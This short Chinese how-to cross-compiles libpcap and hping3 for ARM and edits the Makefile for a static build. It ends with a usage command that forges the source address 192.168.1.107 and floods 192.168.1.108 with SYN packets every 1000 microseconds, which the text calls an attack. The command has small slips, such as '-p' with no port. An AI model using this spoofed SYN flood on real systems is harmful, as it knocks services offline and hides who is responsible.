1、交叉编译libpcap(以交叉工具链arm-none-linux-gnueabi为例):
./configure –host arm-none-linux-gnueabi;make;
2、拷贝生成的libpcap.a到hiping3-20051105/
3、编译hiping3:
修改makefile:
将:$(CC) -o hping3 $(CCOPT) $(DEBUG) $(OBJ) -L/usr/local/lib $(PCAP)
hping3-static: byteorder.h $(OBJ)
$(CC) -static -o hping3-static $(CCOPT) $(DEBUG) $(OBJ) -L/usr/local/lib $(PCAP) -ldl
修改为:
hping3-static: byteorder.h $(OBJ)
$(CC) -static -o hping3-static $(CCOPT) $(DEBUG) $(OBJ) -L . $(PCAP) -ldl
编译:make hping3-static CC=arm-none-linux-gnueabi-gcc
2、使用方法:
hping3 -I eth0 -a 192.168.1.107 -S 192.168.1.108 -p -i u1000
伪造源地址为192.168.1.107攻击192.168.1.108,以1000微秒间隔发送syn包(这些参数都可调整)。